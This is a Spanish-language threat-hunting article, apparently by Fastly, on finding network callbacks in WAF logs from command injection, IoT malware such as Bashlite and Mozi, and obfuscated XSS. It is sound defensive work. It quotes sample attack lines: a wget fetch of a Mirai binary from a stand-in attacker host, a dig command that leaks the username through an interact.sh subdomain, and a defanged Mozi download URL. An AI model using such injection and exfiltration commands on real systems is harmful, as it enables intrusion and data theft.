Cómo detectar amenazas para las devoluciones de llamadas de red en datos del WAF

La detección de amenazas consiste en buscar atacantes activos que puedan haber burlado la seguridad de una empresa. Esta práctica requiere combinar diferentes habilidades en análisis de datos, seguridad y conexión de redes y, lo que es más importante, altas dosis de curiosidad. En este artículo, describiremos ejemplos reales de búsquedas que realiza nuestro equipo utilizando datos del WAF de última generación de Fastly (con la tecnología de Signal Sciences). Los ejemplos están pensados para ayudarte a idear tareas de detección de amenazas utilizando datos de tu WAF.

A vista de pájaro

Entre otros métodos de espionaje habituales, los atacantes suelen recurrir a técnicas de realización de pruebas de seguridad de aplicaciones estáticas y dinámicas, ya que les permiten obtener información que facilita sus objetivos. Si no tienen forma de saber directamente si un ataque en concreto funciona, pasan a utilizar técnicas fuera de banda.

Para realizar pruebas de seguridad de aplicaciones fuera de banda, es necesario usar devoluciones de llamadas de red, que hacen que la aplicación atacada contacte de nuevo con el atacante y le permiten confirmar si la carga útil de un ataque no detectado ha logrado su objetivo. Los piratas informáticos aplican esta misma técnica a la carga y ejecución de malware. ¿Cómo? Primero confirman que pueden ejecutar una devolución de llamada y luego obtienen el archivo malicioso. Este tipo de ataque suele afectar a una serie de dominios y direcciones IP específicas.

Conocer el funcionamiento de las devoluciones de llamada permite a las empresas de ciberseguridad estudiarlas, tanto si se salieron con la suya como si no. Esta información se puede completar con los registros de eventos si estos cuentan con los datos estratégicos idóneos y si la infraestructura tiene habilitadas las funciones de generación de registros adecuadas.

Registros del WAF

Lo primero que necesitamos para cualquier detección son datos; en este caso, nos centraremos en los registros del WAF que se han agregado por alertas de estrategias de ataque. Si vas a analizar tus propios registros, recuerda que debes recopilarlos y agregarlos en un almacén de datos centralizado, como pueden ser un SIEM o un repositorio de otro tipo.

Si eres cliente del WAF de última generación de Fastly, un excelente punto de partida para recabar datos sería hacer búsquedas a través de la fuente de peticiones del sitio. Puedes realizar búsquedas aplicando filtros por etiquetas, sobre todo con los campos de objeto de etiqueta type y value.

Buscar una aguja en un pajar

Antes hemos mencionado que, para esta detección de amenazas, nos íbamos a centrar en buscar devoluciones de llamadas por red en registros de ataques. En concreto, buscamos intentos de inyección y ejecución de comandos, que luego ejecutarían una devolución de llamada de red. Aislamos los resultados buscando referencias a herramientas de conexión de red habituales, como curl, dig, netcat, nslookup o wget; por ejemplo, wget http://attacker.example.com/bins/mirai.arm7. 

Para que este tipo de ataques tenga éxito, el atacante debe ejecutar forzosamente algún elemento que ya exista en el entorno atacado. Si se utilizan archivos binarios del sistema conocidos, a estos se los denomina binarios «living off the land» o, por la abreviatura inglesa, «LOLbins». Para llevar a cabo una búsqueda más exhaustiva, puedes utilizar listas de LOLBins como LOLBas o GTFOBins, que funcionan en Windows y Unix, respectivamente.

Al extraer estos intentos de ataque en nuestro entorno, identificamos algunas similitudes entre los ataques. Para entenderlos mejor, extrajimos un subconjunto de los argumentos de la línea de comandos que acompañan a cada LOLbin en la entrada del registro, para luego buscar similitudes en los argumentos efectuando agregaciones y recuentos. Esto nos permitió extraer dominios y direcciones IP de ataques comunes y obtener un contexto más preciso sobre ellos con información de otras fuentes de datos.

Una vez concluido nuestro análisis inicial, nos hicimos preguntas como las siguientes:

• ¿Utilizan los atacantes dominios de herramientas de seguridad conocidas (p. ej., burpcollaborator.net, interact.sh)?

• ¿La tecnología que se intenta vulnerar guarda alguna relación con el entorno (p. ej., se trata de un intento de ejecución de comandos de Windows en un entorno Linux, o viceversa)?

• ¿Los atacantes intentan utilizar varias direcciones IP que comparten otros atributos (p. ej., una botnet Mozi que utiliza una ruta de URI compartida con diferentes IP)?

• ¿Sigue activo el servidor de la devolución de llamada que ha utilizado el atacante? ¿Podemos recuperar la carga útil?

En la detección de amenazas, sirve de mucho responder a este tipo de preguntas porque nos permiten obtener datos reveladores sobre los objetivos de los atacantes. Al fin y al cabo, las posibles siguientes vías de ataque son infinitas, por lo que entender qué anima a los atacantes podría aportarnos datos reveladores sobre cómo proseguirán con el ataque.

En ocasiones, son los propios datos los que nos dan las claves de las motivaciones. Por ejemplo, los cazarrecompensas por detección de errores a veces incluyen un encabezado X especial que hace referencia a su nombre de usuario en una plataforma de recompensas, o utilizan el nombre de usuario como subdominio en el URI de la devolución de llamada.

Herramientas de seguridad

Las herramientas de seguridad son un elemento extendido en nuestros datos. En el periodo que duró nuestro análisis, descubrimos que aproximadamente el 3,6 % de todos los intentos de inyección de comandos contenía una devolución de llamada de red. De ese porcentaje, el 85 % tenía como objetivo dominios de herramientas de seguridad conocidas.

Esto no quiere decir que los usuarios ilegítimos no utilicen las mismas herramientas que las pruebas de penetración. Lo que significa es que, por lo general, estas peticiones son sondeos que determinan si un ataque funciona, y no un intento de recurrir a malware alojado. 

Sin embargo, estos dominios no se pueden pasar por alto: los atacantes podrían intentar filtrar datos mediante DNS o HTTP (p. ej., filtrar una variable de entorno en forma de subdominio DNS) o utilizar el conjunto de herramientas como reconocimiento para la siguiente fase de un ataque. Un ejemplo más concreto de este tipo de carga útil de inyección de comandos sería && dig `whoami`.c8qt8wk2vtc0000816hggrm7rqcyyyyyb.interact.sh y el resultado que vería un atacante.

Malware de IoT

En otros casos, hemos detectado intentos de despliegue de malware de IoT por parte del atacante. La devolución de llamada en algunos intentos de ataque estaba diseñada para recurrir a un script de shell y ejecutarlo. Descubrimos que estos intentos guardaban relación con los archivos binarios del malware Bashlite (conocido también como «Gafgyt»).

El script está diseñado para recurrir al archivo binario del malware e intentar ejecutarlo, probando de forma exhaustiva en todas las arquitecturas que admite, incluidas las más difundidas en dispositivos de IoT (p. ej., MIPS o Motorola 68K).

El malware Mozi es otro linaje de malware de IoT que es fácil de identificar en registros WAF porque utiliza por sistema la ruta /Mozi.m o /Mozi.a. Un ejemplo al respecto que ya hemos registrado es la URL http://183.188.6\[.\]132:50359/Mozi.m, que distribuía el malware Mozi con el hash 12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef. 

Todos estos ejemplos tienen algo en común: el objetivo de nuestras detecciones, o sea, las devoluciones de llamada de red. 

Para mitigar las devoluciones de llamadas de red, recomendamos evitar que la carga útil inicial llegue a buen puerto. Además, los ataques a nuestros clientes que logramos bloquear crearon la visibilidad que se ha utilizado para llevar a cabo esta detección. No obstante, una capa de defensa adicional sería configurar filtros rigurosos de tráfico de origen y utilizar un proxy o una puerta de enlace de tráfico de origen para las aplicaciones que sí que tengan que realizar comunicaciones salientes. Lograrías así una posición estratégica adecuada desde la que supervisar, con la tranquilidad de que en el futuro sabrás bloquear devoluciones de llamada de red.

Devoluciones de llamadas de red en XSS

La inyección de comandos no es el único tipo de ataque en el que son útiles las técnicas fuera de banda: los ataques de scripting entre sitios (XSS) también las aplican. Sin embargo, la principal diferencia es que el ataque tiene como objetivo a los usuarios de la aplicación, en lugar de la aplicación o el servidor en el que esta se ejecuta.

Entre los casos que nuestras investigaciones sacaron a la luz, figura una campaña que utilizaba un ofuscador de JavaScript para intentar burlar las detecciones. En ese momento, nos centrábamos en detectar código JavaScript usado en ataques de XSS y en identificar su propósito. En esta detección, las cargas útiles que tienen algo tan insignificante como alert() son fáciles de identificar, pero otras tienen la apariencia de meras cadenas de caracteres aleatorias que, en realidad, pueden ser métodos de ofuscación que ocultan la verdadera finalidad del código.

Todo WAF tiene capacidad para detectar y mitigar XSS, pero normalmente no entiende nada sobre el contenido ofuscado subyacente. Inspeccionamos este contenido creando un contenedor Linux para NodeJS con permisos de usuario no raíz y sin acceso a la red. A continuación, ejecutamos fragmentos de código JavaScript con cautela, evitando en lo posible llamadas a función del tipo eval para tener una idea de qué debía hacer el código.

Como se observa a la derecha de la captura de pantalla anterior, la función del código desencriptado es realizar una devolución de llamada al dominio y evaluar lo que se devuelva en la respuesta. Aunque la variante del ataque quizás cambie con el tiempo y se adapte a los elementos con los que responda el servidor del atacante, al cotejar este dominio con proveedores externos pudimos identificarlo como fuente conocida de malware JavaScript.

El segundo ejemplo consistió en intentar utilizar un desajuste de caso de uso respecto a sus etiquetas y cargas del script desde un recurso externo. Hemos dado formato al código fuente de la respuesta para que la captura de pantalla siguiente se vea con claridad.

La respuesta procedente de este dominio se concibió para inyectar una etiqueta de imagen en el DOM con el objetivo de robar cookies de usuario. Lo denunciamos ante el proveedor de la infraestructura donde se alojaba la campaña, por lo que este pudo eliminar la amenaza.

¿De qué sirve hacer todo esto?

Recopilar datos clave en tareas de detección de amenazas puede contribuir a que las empresas establezcan prioridades de defensa frente a amenazas activas. Los datos que aportan los ataques reales perpetrados contra la red de tu empresa son pruebas de qué funciona y qué no en tu estrategia de seguridad. Ser consciente de ello quizás dé pie a debates sobre prioridades en la gestión de vulnerabilidades, estrategias de respuesta ante incidentes y mejoras en la supervisión y observabilidad operativas.